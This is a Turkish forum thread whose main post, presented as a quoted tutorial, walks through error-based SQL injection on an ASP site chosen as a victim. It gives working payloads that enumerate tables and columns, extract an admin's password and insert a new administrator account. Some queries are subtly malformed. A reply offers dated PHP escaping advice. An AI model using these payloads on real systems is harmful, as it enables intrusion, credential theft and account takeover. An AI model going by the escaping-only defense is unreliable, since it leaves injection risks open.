ASP SQL Enjeksiyon ASP SQL ENJEKSIYON ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim; Database = Veritabani Nedir : Veritabani verilerimizin düzenli olarak saklandigi dijital bir ortamdir. Verilerimizi anlamli kilmak da bizim bilfimizi olusturur. Veritabani Programlari: Günümüzde, birçok firmanin ürettigi db programlari mevcuttur... Ama bunlarin en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO’dur. SQL Nedir : Sql (Structured Query Language) bir veritabani dilidir.Uygulama gelistiriciler, bir veritabanina yeni tablo veya veri eklerken, silerken veya bir veriyi ararken bu dili kullanirlar. Bu anlamda genis kabul görmüs bir standarttir. Örnegin MS ACCESS’te bunu yapmanin baska yöntemleri de olsa, sonuçta Sql karsiligi her zaman vardir. Örnek bir Sql ifadesi yazalim; diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatini bize bulsun :) Sql da sorgulamalar SELECT ile yapilir Bu sorgu yazilisi ; SELECT fiyat FROM xchatx WHERE dokuman ismi="hack" SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE kriterine göre tespit edilen kriterlerin hangi alanlarinin görüntülenecegi bilgisidir. FROM deyiminden sonraki ifade, sorgulkamanin hangi tablodan yapilacagini bildirir. WHERE deyimi ise , sorgulamanin hangi kriter ya da kriterlere göre yapilacagini belirtmemizi saglar. Iste SQL ENJEKSIYON DA ILK BASTA SITENIN DB sindeki TABLO Ismini bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalim o nedenle SqL a ilk basta hata verdirip Tablo ismini ögrenmeliyiz. SQL Hata verdirtmek için sunlar yapilabilir: Asp sql enjeksiyondan bahsedecegim Asp sitemizin tabiki db si ve sql si olan :) search engine ya da login barina : ’ Bunu yaziyoruz :) Egeeer : Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’xchatx1’ to a column of data type int. /index.asp, line 29 Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi lazim... Baska türlü de sql a hata verdirebilirsiniz : ’ or 1=1-- " or 1=1-- ’ or ’a’=’a or 1=1-- ’) or (’a’=’a " or "a"="a Bunlari da aynene deneyin ... simdi o hatayi aldik da ne oldu diyorsaniz orda TABLE ismini ögrendik :) xchatx1 table namemimiz. Simdi burdan diger tablolarinda ismini ögrenmemiz lazim... SELECT* FROM xchatx1 WHERE dokumanID=’’ or 1=1--’ Burda yaptigimiz sey bize xchatx1 table inda dokumanIDsi bos olan seyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk attik SQL a yani. Burdan diger table isimlerini de ögreniriz. Sonra istedigimiz seyi SELECT WHERE deyimlerini kullanarak getiririz. Önümüze... Simdi örnek bi saldiri yapalim ve yeni seyler ögrenelim biraz daha : ilk önce kurban siteyi seçtik.... Baktik sql açigi da var ’ bu isaret ile test ettik açik var yani. [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- UNION SQL a birden çok soru sormak için kullandik. INFORMATION_SCHEMA.TABLES-- ise hiç table ismi bilmedigimiz için yazdik Top 1 table_name ise en üstteki tablo anlamina geliyor. Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value ’serles’ to a column of data type int. /index.asp, line 23 Hatamizi aldik :) Top 1 table_name serles mis!! Simdi isimize yarayacak tablelari ögrenelim mesela admin table larini burda da LIKE deyimini kullanicaz içinde admin geçen kelimeleri getir bize SQL!!! dicez :) [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’% 25admin%’-- Hatayi aliyoruz : Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int. /index.asp, line 3 Burda admin diye baslayan admins diye bir table var. Simdi bu admins table inin column yani sutünlarini ögrenme zamani! Kodu yaziyoruz : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’-- Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik sql’e, o da bu feykimizi yedi: Hatayi alalim : Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int. /index.asp, line 22 ilk kolum LogonID çikti :) Simdi 2. sütünü istiyoruz : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)-- Burda en tepede olan ama LogonID olmayani istedik ve hatayi görelim: Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value ’logs’ to a column of data type int. Ögrendik adi logs. Artik sifre neredeyse geliyor kucagimiza :) Önce Password ve detaillarina bakicaz. [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’,’logs’,’password’,details’)-- Hata : Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 4 iki sütün var sansimiza güvenelim ilk logonu deneyelim : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 logon FROM admins-- admins table indaki logon sütunundaki ilk ini seçiyoruz. Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value ’xrealcrack’ to a column of data type int. /index.asp, line 7 ve admin nick geldi. xrealcrack isimli kullanicinin sifresini ver bize SQL :) : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 password FROM admins where logon=’ xrealcrack ’-- Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value ’albert8387vsc’ to a column of data type int. /index.asp, line 4 Sifremizi aldik albert8387vsc :) ok artik hackledik.. Kendimiz de kullanici yaratabiliriz admins table inda logon column ünde :) Kodu : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (223,’SwmeRt’,’123456’,’NA’)-- SwmeRt nickli bi admin olusturduk sifresi de : 123456 iste bu kadar... Not:Alıntıdır. |
Cevap: ASP SQL Enjeksiyon Arkadaşımızın SQL injection sadece ASP için geçerli değildir. Veri tabanı ve SQL kullanan tüm web programlama dilleri için geçerlidir. Bu açığı kapatmak için POST 'tan veya GET 'ten aldığınız bilgileri temizleyin. Nasıl mı? Örnek PHP için: [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] diyelim... haberid 'yi olduğu gibi çağırırsanız SQL injection kaçınılmazdır... <?php $haberid = intval($_GET['haberid']); ?> dediğinizde [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT FROM bilmemne şeklinde adresi değişseniz bile... $haberid 3 'e dönecektir. veya... [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] Gibi bir adresiniz içeriyor varsayalım Bu noktada SQL injection yememek için 1- Scriptinizin initialize bölümüne Kod: <?php Bu kod... [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] OR UNION SELECT * FROM admin WHERE 'a' = 'a' daki kodun Tek Tırnak ( ' ) karekterlerini (\') şeklinde getirecek ve SQL Injection dan kurulacaksınız... 2. İşlem <?php $kategori = trim($_GET['do']); mysql_query("SELECT * FROM haber WHERE kategori = '$kategori'"); ?> şeklinde değil de... <?php $kategori = mysql_real_escape_string(trim($_GET['do'])); mysql_query("SELECT * FROM haber WHERE kategori = '$kategori'"); ?> Şeklinde kullanın. mysql_real_escape_string fonksonu bir nevi addslashes görevi yapar... ve ayrımlarda kullandığı Tek Tırnak karekterini operatörlükten string e indirger.. |
Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 08:29. |
Powered by vBulletin® Version 3.8.8 Beta 3
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2024 IRCForumlari.Net